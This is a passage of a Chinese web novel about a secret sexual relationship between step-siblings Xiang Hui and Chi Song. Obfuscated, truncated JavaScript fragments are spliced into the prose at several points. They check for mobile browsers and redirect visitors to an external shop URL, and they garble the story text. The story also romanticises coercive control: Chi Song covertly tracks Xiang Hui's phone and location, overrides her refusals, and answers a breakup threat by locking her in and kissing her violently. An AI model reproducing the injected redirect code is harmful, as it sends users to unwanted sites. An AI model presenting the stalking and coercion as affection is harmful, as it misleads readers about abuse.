“那就别说了,来,亲我。”迟颂微微后仰,“把我亲爽了,可以考虑放过你。” 迟颂也是需要哄的。 权衡片刻,项茴胳膊抬起攀住他的肩,在迟颂嘴角落下一个吻。 迟颂享受她的主动,循循善诱:“继续。” 他们在一块的时候,大多是迟颂主动索取,项茴被迫承受,偶尔也会反过来。项茴还不习惯当个主导者,动作生涩,没什么技巧地一下一下亲吻他的额头,鼻尖…… 然而迟颂很受用。 喘息渐渐粗重,他的胸口上下起伏,就连那双冷清的眸子也染上欲色。 漫长的折磨后,终于,他再也无法忍耐,唯有绝对占有才能满足内心的焦渴。 项茴还在傻兮兮地亲他,以为足够卖力,迟颂当真能履行诺言。 直到被迟颂一把抱起扑在床上,项茴惊魂未定:“你不是说可以放过我吗?” “又没说是今晚。” “……” 可怜的茴茴,又被骗了。 深夜是最好的掩护,也是他们的共犯。 男性气息如密不透风的墙,项茴被禁锢其中,每一寸肌肤都被啃咬标记。明明心里是抗拒的,但身体的反应却那样诚实,甚至,不由自由地配合他。 不得不承认,在某些方面,他们确实合拍。 …… 结束后又休息好久,项茴才恢复力气。 明明傍晚他们还在闹矛盾,项茴也不知道怎么回事,闹着闹着就成了现在这样。 她懊恼自己太好说话,总是半推半就遂了迟颂的愿,又恨迟颂诡计多端,把她骗得团团转。 项曦房间就在对面,虽然迟颂说隔音很好,但项茴已经不知道能不能相信他了。为尽快结束,刚刚她把所有想到的好话都说了一遍。 浅绿色碎花床单被抓皱,和项茴一样变得可怜兮兮。 从浴室出来,迟颂已经换好了新的四件套,旧的被扔进垃圾桶。清洁工作他一直很自觉,从来不用项茴动手。 迟颂站在床边叫她:“过来,睡了。” “你回你自己的房间睡。”项茴喝口水润润干哑的嗓子,声音带着倦意,“周末项曦不睡懒觉,明早七点要来房间找我的。” 迟颂轻哼:“项曦不在,莲姨带她出去了。” “去哪儿了?” “看灯光秀。” 来给项茴补课前,迟颂将两张游乐园灯光秀的门票送给了莲姨,截止时间刚好是今晚。莲姨一看快过期了,舍不得浪费,于是问项曦想不想看,一大一小意气相投,当即就出了门。 项茴:“为什么现在才告诉我?” “因为——你刚刚求饶的声音太好听了,我很喜欢。” “……” 变态。 - 项曦和莲姨第二天中午才回,因为那两张门票还包含了一晚主题酒店,有便宜不占是傻瓜,索性就在外面住了。 项曦年纪小,以前在昆河好多东西没见过,来了京市对什么都兴致勃勃,她递给项茴一只小猪玩偶,“姐姐,送你的。” “谢谢,长得有点像你。”项茴接过,看了两眼放在沙发上。 注意到她情绪不高,黑眼圈有点重,项曦亲亲热热地凑上去,“姐姐,你是不是生气啦?对不起嘛,莲姨只有两张门票,她说你在写作业,我们就没叫你。” 项茴扑哧乐了,“我才没那么小气,下次一起去就好了。” “你最好啦。” 项茴拨开妹妹的碎发,看向她的左耳,“这次的助听器好用吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585914|205258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 项曦左耳几乎听不见,日常需要佩戴助听器,她摸了摸自己的耳朵,说:“最近有些杂音,耳朵也闷闷的,可能又要去医院调整了。” “你不早说,我现在就挂号。” 姐妹两正说着话,瞿莉从卧室出来,喊司机备车。 她穿一件白色香奈儿经典套裙,手上拎着个稀有皮Birkin,耳环和项链珠光宝气,踩上高跟鞋就要出门。 莲姨问,“不在家吃午饭吗?” “不吃,约了朋友喝下午茶。” 项茴想到一件事,起身追了出去。 “妈妈,我有事想和你说。” 外头太阳大,瞿莉担心晒黑,走到树荫下才开口:“什么事?” “小曦耳朵不舒服,明天我带她去趟医院。” “嗯,两千块够吗?” “这次看医生的钱我有。”项茴轻咬下唇,“不过我还是想给小曦做听力修复手术,医生说她的情况不算太坏,越早做越好。” 其实她们刚来京市那会,医生就建议做听骨链重构和鼓膜修补手术,但当时项曦的耳道化脓发炎,手术才搁置了,改为佩戴助听器。 现在炎症好了,耳道完全符合手术条件,因为手术费用不低,项茴才来找瞿莉。 瞿莉蹙了蹙眉:“手术费多少?” “十万左右。” 这笔钱瞿莉不是出不起,只是出的不痛快,她冷哼一声:“你爸可真行,当年我和他离婚的时候,小曦耳朵还好好的,怎么我一走,小曦耳朵就聋了?你这个姐姐怎么当的,也不好好照顾她。” 项曦左耳听不见的事,项茴确实有责任。 项成涛和瞿莉离婚后性格暴躁,动不动就打人。那天项茴做饭的时候忘了放盐,项成涛心情不好,什么也不说一巴掌朝她呼过来。 项曦下意识用瘦小的身体护住姐姐,那巴掌扇在她的脑袋上,当时项曦耳朵和鼻孔就出血了。后来又因为各种原因治疗不及时,导致项曦左耳全聋。 瞿莉不知来龙去脉,每次掏钱治病都要臭骂项成涛。 她有怨言,项茴就乖乖听着,“嗯,是我没有保护好小曦。” “你先带小曦去看医生,手术的事等暑假再说。” “谢谢妈妈。” 项茴正要走,瞿莉又道:“等等,昨晚阿颂心情不好,是不是你惹他了?” 作为迟启文唯一的儿子,公司未来的继承人,迟颂是这个家绝对的中心,几乎所有人都围着他转。 项茴不确定瞿莉是不是看出了什么端倪,怔在原地没动,好不容易稳住神色,说:“不是我。” “我猜也不是你。” 项茴一个小丫头片子,胆小又听话,怎么可能惹那个大少爷。 瞿莉:“他帮你补课的时候,有没有说过我的坏话?” “没有。” 瞿莉叹气,意识到是自己病急乱投医了。项茴是她的女儿,迟颂就算对自己有意见,又怎么可能告诉项茴。 住进迟家快两年,迟启文一直不肯和她领证。没有法律的保护,她再风光又怎么样呢,仍然不是名正言顺的迟太太。 瞿莉不确定,问题是不是出在迟颂身上。 毕竟迟启文看重这个亲儿子,如果迟颂不接受她,迟启文肯定要考虑儿子的感受。 这时司机开车过来,并为瞿莉打开后座车门。 瞿莉看看时间,“我先走了,你回去吧。” - 今天一早迟颂便驱车去了京大,好像要准备一个很重要的比赛,午餐餐桌上,只有项茴项曦姐妹两。 项茴正吃饭,手机响了,是迟颂发来的信息。 迟颂:【在干什么?】 项茴:【吃饭。】 迟颂:【吃的什么?】 他是在查岗? 算了,多一事不如少一事,项茴不想惹迟颂不高兴,乖乖拍了一张照片发过去,【你自己看。】 迟颂:【身边有哪些人?】 项茴:【小曦,莲姨,要给你拍个视频吗?】 迟颂:【拍。】 看完项茴发来的视频,迟颂又道:【你为什么不问我在干什么?】 项茴只好顺着他的意思,【迟颂哥哥,请问你在干什么?】 迟颂:【我在想你。】 简单直白的四个字,莫名令项茴耳朵发烫。她不知道迟颂到底想干什么,又觉得这个变态无论干什么都正常。 其实项茴猜对了,迟颂还真是来查岗的。 这会,远在京大的迟颂刚结束一场头脑风暴,他坐在会议室,给自己的私人助理发去一条信息:【帮我查个人,名字:许慕明。】 紧接着,迟颂点开“looking”软件。 5月9日,10:39 对方正在使用开心连连看,持续时间两小时。 5月9日,11:10 对方位于京元大道御河公馆三号别墅附近,位置暂无变化。 5月9日,11:40 对方结束通话,通话时间8秒,手机电量9%,开始充电了。 …… 很好,他的茴茴今天也乖乖呆在家里,哪儿都没去。 7. 007 第二天,项茴带妹妹去医院。 周末,耳鼻喉科患者不少,项茴先在候诊台登记,没过几分钟,护士引着她们往专家诊疗室走,说刘医生已经在等她们了。 项茴看一眼人满为患的普通诊疗室,转身和护士说:“您弄错了,我挂的普号,不是专家号。” 昨天项曦临时说耳朵不舒服,项茴在小程序上挂号时,专家号已经抢没了。考虑调整助听器不是太大问题,她就挂了普号。 护士笑笑,“没弄错,昨天迟少打电话过来,刘医生加了一个号。” 又是迟颂。 估计昨晚他回家后听莲姨说起,所以提前和医院打了招呼。项茴没再说什么,先带妹妹进诊疗室。 刘医生穿白大褂,戴厚厚的眼镜,七十多的年纪还坚持每周坐诊。 他和迟颂外公是旧相识,自然也认识迟颂。 昨晚刘医生接到迟颂的电话还挺意外,加个号这种小事,其实让助理和他说一声就好了,迟颂却亲自打电话过来,可见今天的病人不一般。 一早问过护士才知道,原来病人是迟颂的妹妹。 但刘医生总觉得,如果只是妹妹的话,应该不至于让迟颂如此上心。因此,项茴项曦进来的时候,刘医生眼中多了几分探究欲。 “项小姐,请坐。” “她说助听器有杂音,耳朵也不舒服,麻烦您给看看。”项茴坐在旁边,先交待妹妹的情况。 刘医生拿起耳镜,对项曦说:“小姑娘,椅子转一转,耳朵面向我。” 诊疗过程持续了三十多分钟,专业名词一个接着一个,结论就是助听器受潮需要检修,耳道细菌感染,刘医生开了抗生素滴耳液,让一天使用三次。 从诊疗室出来,项茴项曦先去找验配师检修助听器。 项曦挽着她的胳膊,走路一蹦一跳:“姐姐,迟颂哥哥对我们真好。” 项茴反问:“哪里好?” “就是很好呀。”项曦一一举例,“他出差给我们带礼物,平时对我们也没架子,今天还帮忙挂专家号。” 项茴这才明白迟颂为什么要送礼物给项曦。 他在收买人心。 而且,已经成功了。 项曦才十二岁,小孩子的喜恶很简单,谁对她好她就喜欢谁。 但项茴不是小孩子了。 迟颂的好是需要付出代价的,她不敢想,如果他们这种不伦不类的关系被别人知道,家里会闹得如何天翻地覆。 虽然瞿莉和迟启文还没有领证,也没办过婚礼,但他们感情稳定,应该会一直在一起的。 继兄妹有染,传出去像什么样子。 项茴装出吃醋的模样,鼻子轻轻哼了哼,“迟颂哥哥对你好,难道我对你就不好?” “啊?不是呀。”项曦整个人贴她身上,“迟颂哥哥,莲姨,他们都对我很好,我都喜欢,但我最喜欢的人是你。” 她的姐姐又香又软,脾气好从来不生气,傻子才不喜欢呢。 表白完自己的心意,项曦还不忘问她,“姐姐,那你最喜欢的人是不是我?” 项茴嘴角不禁扬起:“当然是你啦。” 说完她便庆幸,幸好这些话迟颂不会听到,不然又要发疯了。 - 转眼来到周一。 天气晴朗,日光毫无保留地落在校园花圃里,一簇簇牡丹花大色艳,争相盛放。 今早有两节选修课,三节专业课,项茴在校门口下车,手里捏着一只三明治去教室。刚进教学楼,就看见许慕明在等电梯。 项茴虽然对许慕明没意思,但曾经和他小组合作还算愉快,许慕明也有分寸,被拒绝后没骚扰她。现在一句话不解释就删了人家的微信,见面难免尴尬。 思索片刻,项茴转身去走楼梯,就当锻炼了。 教室在五楼,项茴刚进去,就看到庄澄在倒数第三排冲她疯狂招手。 “姐妹,我知道那个穿九号球衣的帅哥叫什么了。他叫迟颂,京大金融专业,今年大三,不光颜值牛逼,成绩也牛逼,听说是他们那届的高考市状元。最最最重要的,家里非常非常有钱,恒越集团知道吧,迟颂家的。” 项茴没想到,一个周末过去了,大家对迟颂的探究欲还是这么旺盛。 果然,真帅哥在哪儿都是硬通货。 她放下书包,小口吃着三明治,“你从哪儿打听来的?” “我们学院的简赫学长在论坛发了篇帖子,晒他和迟颂的毕业照,他们是高中同学,消息绝对可靠,不过,他不知道迟颂单不单身。” 旁边,楚安意也来凑热闹,“你们知道吗,夏轻瑶今天约简赫吃晚饭,我猜醉翁之意不在酒,肯定是想通过简赫认识迟颂。” 夏轻瑶学播音主持专业,是传媒大学投票选出来的校花,也是楚安意的堂姐。 项茴见过夏轻瑶,身量纤细高挑,听说是中外混血,五官明艳有几分异域风情,确实当得起校花的名号。 庄澄:“简赫不是说,等迟颂毕业了,家里会给他安排联姻吗?” 楚安意:“联姻又怎么样,迟颂这种帅哥,谈一天赚一天,别想以后就对了。” 两人你一言我一言讨论得激烈,项茴一句话都插不上。她这才发现,自己对迟颂的人际关系,在校情况一无所知。 不过,好像也没有知道的必要。 项茴甚至不知道,迟颂为什么缠上自己,明明他身边有那么多优秀漂亮的异性。 项茴是个老实孩子,出生小地方,家境普通,能力也普通,唯一拿得出手的可能就是这张脸了,但说实话,上大学之前她有点土。 复读那会时间紧任务重,根本没空收拾自己,上大学之后才有空研究穿搭和化妆。 而且项茴觉得,迟颂应该不是那种肤浅的只看脸的人,他缠上自己,大概是因为新鲜感,又或许他追求刺激,喜欢背着父母搞偷情。 等这股新鲜感过了,等迟颂毕业有了联姻对象,他们自然而然就断了。 - 回到御河公馆吃过晚饭,迟颂又给项茴发信息,让她去他的房间补课。 今天没有高数课,自然也没有课后作业。迟颂与她挨坐在一起,指尖转着一支圆珠笔,“上次我给你的资料背完没有?” 那沓资料是迟颂特意整理的,包含所有的高频公式和必考定理。 项茴老老实实答:“背完一半了。” “嗯,检查一下背诵情况。”迟颂递给她一张草稿纸,“把泰勒公式默写出来。” 泰勒公式? 好熟悉。 呃……呃…… 项茴握着笔,脑海中有印象,但仔细回忆又不太确定,她蹙眉,写下:f(x)=f(a)+f′(a)(x?a)+f′(a)…… 项茴正咬唇回忆,忽然嗅到熟悉的气息,木质冷香如同密密麻麻的网,顷刻间将她笼罩。 来不及反应,迟颂微凉的唇,落在她的右脸颊。 “……” 项茴怔住,呆呆扭过头看他,“你干嘛,学习时间不要搞我。” 迟颂舔了舔唇,嗤笑道:“写错了,给你一点小小的惩罚。” “我写错了吗?” “错了。”迟颂翻开资料给她看,“你睁大眼睛看看。” 项茴仔细核对一遍,发现自己确实写错了,都怪这个公式太长。她抓抓头,在泰勒公式旁边做好标记,方便课后重点记忆。 “下一个。”迟颂合上资料,说:“拉格朗日中值定理。” 这个公式短,项茴记得很清楚,她飞快写完,非常确定地说:“这次不会错了。” 谁知,迟颂再次靠近,一下吻住她唇,还恶劣地吮了吮。 项茴用力推开他,脸红红眼睛也红红,不知道是气的还是害羞,她委屈死了,“这次我肯定没写错,你为什么又来?” 迟颂总有他的道理,“你没写错,所以我给你奖励。” “……” 他坏死了。 项茴无语得想要翻白眼。 敢情她写错了要被亲,写对了也要被亲,迟颂就是借机为自己谋福利。 项茴气不过,咬着牙腮帮子鼓起来,“迟颂,你是不是有病?” 她明明在生气,却一点威慑力也没有。说话声软软的,带着南方人特有的甜嗓,听起来像撒娇。 迟颂听得心痒痒,禁不住撩拨,一把将人抱到自己腿上,手不规矩地往项茴衣服里面钻。 他气息变了,“嗯,有病,你来给我治治。” 明明每天都见,可还是想她。 想抱她,想亲她,想负距离疯狂地占有她。 一个小时,不,一分钟见不到她,迟颂就浑身难受。 这不是有病是什么? 偏偏这病只有项茴能治。 说好只是叫她来房间补课的,但迟颂又要食言了。 早在项茴进屋那会他就开始躁动,项茴一个呼吸都令他口干舌燥,干脆不忍了。 最近天气越来越热,今天项茴穿了一件白色吊带裙,外搭墨绿色针织开衫。她这套着装,正好方便迟颂下手。 迟颂面庞埋进她雪白的脖颈,吻往下滑,咬开她的肩带。 天还没黑他就要做这种事,项茴怕得要死,用力推搡他偏偏推不动,反而看起来像欲拒还迎。 这时,迟颂放在桌上的手机忽然嗡嗡震动,有电话打进来。 混乱中,项茴瞟一眼屏幕,竟然是迟启文。 晚饭那会迟启文还没回家,说是有应酬。突然打电话过来,难不成有事? 项茴一下清醒了,反抗动作也变得激烈,她边躲边说:“接电话,是迟叔叔找你,别闹了。” 迟颂知道迟启文找他做什么。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585915|205258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >今天力西百货的千金姜小姐过生日,没见过几次的人,迟启文非得让他赴宴。说好听点是维系商业伙伴,其实就是撮合他们这些年轻小辈,方便日后为家族做贡献。 迟颂不乐意,昨晚就拒绝过了。 他在兴头上,更不想管这个电话,喘着气,对项茴上下其手:“不接。” “快点接。” 迟颂捏住她的下巴,眼眸深邃,半点情绪不露。他说话的气息拂过项茴脸颊:“行,我接,我告诉他我们在接吻,让他识趣点滚蛋。” 说着,迟颂便抓起手机。 项茴吓得心脏骤停。 她知道迟颂说得出就做得到,如果他真这么说,那一切都完了。 项茴急得去和他抢手机,迟颂计谋得逞,心情好了些,直接把手机丢到远处的沙发上。 手机仍在震动,但没人管了。 明明开了空调,偌大的房间里还是很热。 项茴知道他们这样做不对,但偏偏自己不争气,迟颂随便做点什么,她的理智就摇摇欲坠,分不清东西南北。 此时正是黄昏,夕阳很美,晚霞像冒热气的橘子汁,一片叠着一片。 然而,门外忽然有了动静。 “哒哒哒——” 有人在上楼,步子越来越近,还伴随着说话声。 “这小子搞什么名堂。”迟启文的步调明显加快了,“莲姨不是说他在房间?打电话不接,非要我来请他,好大的架子。” 瞿莉声音柔软一些,“你别着急,可能是睡着了。” “这个晚宴很重要,迟到不好。” …… 沉迷欲念的两人都听到了异动,迟颂停下来,项茴更是瞬间吓出一身冷汗。 理智回笼,意识到迟启文和瞿莉要来迟颂房间,项茴挣扎着将人推开,下意识想找地方躲。 然而,迟颂抓住她的手腕,目光沉静好像游离在事情之外,他道:“不用躲,趁机坦白好了,迟早的事。” “你疯了。” 项茴绝不同意。 在她心里,这段关系开始得荒谬,然而覆水难收,现在最好的处理方式,就是悄无声息地进行,再悄无声息地结束。 躲都来不及,怎么能坦白呢? “你就当我疯了吧。”迟颂目光清明,将她的手放在唇边亲了一下,“我就是想让全部人知道,我们在谈恋爱。” “迟颂——” “别人可以,我们不行?” 项茴睁大眼睛,“因为我们是兄妹啊,和别人又不一样。” “没血缘,不在一个户口本,法律都不认,你和我算哪门子兄妹。” 项茴很想说,现在不是兄妹,以后呢? 退一万步讲,就算以后瞿莉和迟启文分手了,他们就能在一起吗? 项茴头疼得厉害,“你到底知不知道,我妈妈和你爸爸在谈恋爱。” 迟颂无所谓的语气,“他们谈他们的,我们谈我们的,有问题么?” 他本就极端,偏执,脑回路异于常人。 知道在这种紧要关头不能刺激他,项茴哄道:“不讨论这个了,坦白的事我们以后再说,可以吗?我还没有准备好,求你了,哥哥——” 迟颂脾气很怪,但也很好哄。 接连几声“哥哥”,叫的他通体舒畅,心也软成烂泥,恨不得什么都给她。 光说还不够,项茴甚至踮起脚尖,主动亲了一下他的喉结,“哥哥,现在这样不也很好吗?” 迟颂眼神明显有了变化。 仿佛冰消雪融,凌厉的眼神慢慢转变为柔和。 明知道这是项茴的美人计,迟颂却甘愿上钩。 偶尔他会觉得,项茴在训狗,一点小伎俩就能拿捏他。 迟颂注视着她,不自然地移开视线。 片刻后,他说:“我听你的。” 紧接着,又轻轻握住项茴的肩拍了拍,“呆在这儿,我去处理。” 稍稍整理好衣服,迟颂推门走出去,再关好门。 项茴独自呆在房间里,仿佛刚跑完一场长跑,呼吸急促,心脏狂跳久久无法平复,她的手心全是汗。 过了会,项茴隐约听到走廊上父子二人的交谈声。 迟启文说临时有个很重要的晚宴,希望迟颂陪他一起去,迟颂声音很低,说了什么项茴没听清。 几分钟后,迟启文和瞿莉下楼离开了,迟颂重新推门进屋。 项茴拧开洗手间水龙头洗了把脸,手微微颤抖。 一双胳膊从后面环抱住她,迟颂一下一下吻她的额头和脸颊,力道很轻很温柔,和之前的强势掠夺完全不一样,好像在安抚一只受惊的兔子。 洗手间温度偏低,镜子中,二人亲密无间。 迟颂的胳膊越圈越紧,仿佛要将项茴揉进骨子里一样。 “茴茴,我们搬出去住。” 8. 008 从前,迟颂也提过同样的要求。 那时候他们刚发生关系不久,迟颂食髓知味,恨不得天天拉着项茴颠鸾倒凤不知昼夜,不在一个学校白天没法见面,夜晚,他们就频繁在家里幽会。 有天晚上十一点多,项茴渴了下楼喝水,刚进厨房就碰见了迟颂。 项茴一呆,不大自在地喊他:“哥哥。” “嗯。”迟颂装的人模狗样,问她:“还没睡?” 项茴垂眼躲避他的注视,“我下楼喝水。” 迟颂穿一件黑色T恤,皮肤冷白若瓷。他从冰箱拿出一瓶矿泉水,拧开瓶盖递给项茴,“喝这个。” “谢谢。” 她接过喝了一口,迟颂便小声道:“等会去我房间。” 项茴差点呛到,“今晚……不去了。” “为什么不去?” 哪有为什么? 昨天做,前天也做,项茴觉得自己快被榨干了。 她抿唇,低声喃喃:“反正就是不去。” 正说着话,莲姨突然进来,瞧见兄妹两“咦”一声,“你们两还没睡啊?” 项茴吓一跳,堪堪稳住神色,此地无银三百两地说:“我下楼喝水,刚好碰见哥哥。” 迟颂短促的笑一声,笑她胆小,也笑她多此一举,但还是配合着回答:“饿了,下楼找东西吃。” “晚饭就吃两口,不饿才怪。冰箱里有青提,草莓,还有面包,哎,要不我给你做个三明治吧。” 趁他们说着话,项茴说了句“我先回房间”就溜了。 她走的很快,然而迟颂人高腿长,没一会也追了上来。走到二楼楼梯口,他直接一把抱起项茴,将人往三楼带。 项茴奋力挣扎,瓮声骂得起劲儿:“混蛋,淫、虫——” 但她细胳膊细腿儿,哪里是迟颂的对手。迟颂制住她,嘴里噙着坏:“骂吧,最好把人全招来,我们正好公开。” 项茴被掐住死穴,不敢再出声了,直到上了三楼,才撅着嘴说:“腿疼。” 他没经验,那事上缺乏技巧,刚开始项茴总喊疼,连着两晚,迟颂也知道有点过分了,不由得缓和语气,“今晚不做。” “不做你让我来三楼?” “抱着睡觉不行?” 项茴表示怀疑,但那晚迟颂真没做什么,只是抱着她睡觉。 躺下后不久,迟颂便提出:“我们搬去西山枫庭好不好?” 项茴一怔。 她记得自己刚住进迟家那会莲姨说过,御河公馆这套别墅以前没人住。 迟颂的妈妈信佛,不食人间烟火,常住东郊的白露庄园,迟启文自然也和妻子一块住在那儿,迟颂自己住西山枫庭。 后来迟颂的妈妈去世,两年后迟启文和瞿莉走到一起,决定同居搬进御河公馆。原本迟颂不想搬,后来不知为什么又愿意搬了。 项茴下意识问:“为什么要搬去西山枫庭?” 迟颂特别不要脸地回,“方便和你上床。” 当时项茴就无语住了。 现在两人住父母眼皮子底下,迟颂尚且还胆大包天不知节制,如果搬出去还得了? 项茴觉得自己会死在床上。 她当即摇头,“不去。” 现如今,迟颂旧事重提,项茴却陷入了犹豫。 老实讲,她和迟颂这种关系,住在御河公馆确实太危险了,无异于刀尖上跳舞。 今天迟启文的突袭就像一个警告。 瞿莉和迟启文住二楼东侧最大的一个卧室,他们两个工作忙时常不在,偶尔休假也是出去约会,但家里还有项曦,莲姨,两个私厨,四个司机…… 这么多双眼睛盯着,保不齐哪天就出事。 搬出去确实风险会小很多,但项茴能预料到,迟颂肯定天天拉着她白日宣淫。 还有,她舍不得项曦。独留项曦在这里寄人篱下,自己跑出去和迟颂寻欢作乐算怎么回事? 她沉默的时间太久,久到迟颂已经开始替她做决定,“你就说以后周一至周六住校,周日回家。不用收拾东西,西山枫庭会准备好,也不用担心项曦,我会让莲姨照顾好她。” 又开始了。 他又这样不顾别人的意愿,擅自做决定,项茴讨厌他的自作主张。 项茴紧皱眉心,“等等,我没答应搬出去。” 迟颂:“理由。” “我——”项茴冥思苦想,选了个好听的理由,“我是为你好,我担心你纵欲过度,年纪轻轻肾虚。” 迟颂轻呵,“谢谢关心,我身体怎么样你不知道?” 项茴可太知道了。 迟颂本就天赋异禀,还常年健身,怎么瞧都不像肾虚的样子。 反倒是她自己,经常睡不够,像被妖精吸干阳气的样子。 “况且——”迟颂眼神一暗,望着她意有所指,“我不是纵欲过度,是欲求不满。” 这种频率还不满足? 太可怕了。 这更加坚定了项茴不同居的决心。 知道随口说的理由没法糊弄他,项茴拿出耐心,决定趁这个机会好好和迟颂沟通一下两人的频率问题。 她应该为自己争取权益,而不是由着迟颂胡来。 项茴动了动唇,鼓起勇气,“我和你的想法不一样。” “这样吧,我们各退一步,周一到周六住家里,这期间除了补课不准越界,也就不会被别人发现,周日我和你去西山枫庭。” 迟颂斤斤计较,“你的意思是,一周七天,我只有一天能碰你?” “嗯。”项茴弱弱点头,不敢看他的眼睛,低头道:“我没说半个月一次已经很好了,这是我能做出最大的让步。” 沉默了大概三分钟,迟颂一把捉住她的手,往自己身上贴。 “茴茴,你好狠的心。”迟颂眼珠漆黑,仿佛多委屈似的,“你明知道,我一见你就有反应。” “……” 项茴拼命挣扎,好不容易才抽回手,结结巴巴道:“那是你的事,你……你用手解决啊。” 迟颂陈述事实:“我的手没有你的好用。” “……” 这个变态,项茴好想把他的嘴缝起来。 “你正经一点好不好。”项茴无力地深呼吸,仰头看向天花板,整个人一副力竭的样子,“每次和你说话,我都乳腺疼。” 迟颂目光下移,落在她的胸口,抬手伸出五指,“那我给你揉揉。” 项茴拍掉他的爪子,“混蛋,我是被你气的。” 明明说的都是中文,为什么这么难沟通啊? “反正这就是我的态度,做一休六。”项茴觉得自己必须硬气起来,否则一直妥协,只会被迟颂压得无法翻身,“你能接受就接受,接受不了就……” 迟颂脸色一沉,“就怎么样?” 项茴顿住,这一瞬间没有思考太多,那句话就这么不经大脑地蹦了出来,“接受不了我们就分手。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585916|205258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 晚霞渐渐变暗,最后一丝光线也没了,窗外一片浓郁的黑。 卧室里,空气仿佛凝固成冰块,沉闷得令人透不过气来。窗户没关好,一片死寂中风吹进来,白色窗帘沙沙作响,仿佛随时会被风撕裂。 项茴也是说完了,才意识到自己说错话了。她呆滞在原地,双腿好像灌满了铅,挪不动一步。 迟颂的表情好可怕—— 他眼神阴沉,面庞紧紧绷着,像一张拉满的弦。仔细看就能发现,他清瘦的身体竟然在发抖,拳头攥紧,整个人的气息都变了。 危险至极,显然是暴怒的预兆。 项茴很害怕,她从没见过迟颂这个样子,趋利避害是生物的本能,她张了张口,但没能发出声。 沉重的腿好不容易能动了,项茴下意识就往门口逃。 然而她的手才碰到门把手,迟颂就如鬼影一般,悄无声息地行至她跟前。 迟颂按住门把手不让她开,手指一动,反锁了门。 在项茴的惊愕中,他一把抱起她,大步走到床边,将项茴丢在上面,欺身而上。 “你刚刚说什么?”迟颂压制着她,双手放在项茴肩膀上呈禁锢姿态,气势咄咄逼人,“敢不敢再说一遍?” 项茴要被吓死了,人在极度恐惧下往往会催生更大的勇气,恶从胆边生,她颤抖着唇,开口:“我说……我要和你……” 剩下的那几个字,被迟颂吞入腹中。 这是一次很糟糕的接吻体验,迟颂亲过她那么多次,从来没有那么暴力过。 他咬她的唇,舌尖强硬破开她的齿,勾着她的舌痴缠。口腔里都是铁锈味,分不清是谁的。 项茴挣扎,却换来他更激烈地掠夺。 待迟颂的唇离开她的唇,撕咬她肩带时,项茴彻底崩溃了。 她真的不想在这种乱七八糟的时候和他做,开口却言不由衷,语气甚至恶狠狠的:“混蛋,我再也不要看见你了,做完这次就分手,我说到做到——” 话落,迟颂动作却停了下来。 仿佛突然间被抽干所有的力气,整个人颓然倾倒。 静默良久,迟颂翻身躺倒一旁,待平复满腔怒火,侧着身子抱住她。 他的声音很低,下巴抵在项茴颈间,眼睛都气红了。 迟颂说:“我答应你的不平等条约,也答应做你见不得光的秘密情人,茴茴,我们不分手,好不好?” 这是项茴完全没料到的走向。 就在刚刚,一分钟之前,她真以为和迟颂完了。 无论怎么想,她和迟颂都是天差地别的两个人,家世不匹配,性格不匹配,更不用说还有一层不清不楚的兄妹关系。 对他们来说,分开是一件好事,但迟颂不愿意,还为此发狂发疯。 为什么? 是因为习惯了掌控,不允许自己被甩吗?还是因为别的什么。 项茴的嘴唇好痛,脑子也好痛,已经不能思考了。 闹这一出,她吃了点苦头,但也不是完全没有收获。至少,以后在家里可以和迟颂保持适当的距离,这样被发现的概率就小了很多。 一周做一次,对她的睡眠很友好。 项茴是个很容易满足的人,见好就好,也软了语气,“你说的,不要食言。” 迟颂脑袋凑过来,手指摩梭她光滑的脸蛋,“我做出让步,你也要答应我一件事。” “什么?” “以后,不许再提分手。” 9. 009 以后会怎样暂时不知,但项茴很确定,短期内她是不敢再提“分手”这两个字了。 迟颂发疯的样子好可怕,把他惹恼了,受罪的人还是她。 做一休六的事就这样定下来,在家的时候迟颂虽然还是会对她动手动脚,但至少明面上收敛了许多。 过了几天安生日子,这天一早,项茴下楼吃早餐。她起的有点晚,这会大家都在了。 项曦埋头吃鸡丝面,人小碗大模样有点滑稽。 莲姨喊她:“慢点吃,不够还有。” “够了够了。”项曦三两口吃完,拿了个鸡蛋就往外跑,“今天我要做值日,先走啦。” 她刚消失在门口,迟颂也从位子上站起来,没什么情绪地开口:“我也走了,你们慢慢吃。” “你又不做值日,急什么?”迟启文手里翻着一份报纸,眼神指了指项茴,“等等你妹妹。” 京大和传媒大学就在一条街上,只不过京大在西,传媒大学在东,距离五六公里。每天早上,郑叔叔按照顺序先送项茴,再送迟颂。 两人上下学都是一起的,现在迟颂先走,意味着项茴就没时间吃早餐了,所以迟启文才让他等一等。 然而,迟颂看都没看项茴,拎起外套往外走,“车上等她。” 那副爱答不理的样子,外人看来就是两人关系很不好。 见状,瞿莉皱起眉头,“茴茴,你惹你哥哥不高兴了?” 项茴一脸懵,“我……没有啊。” 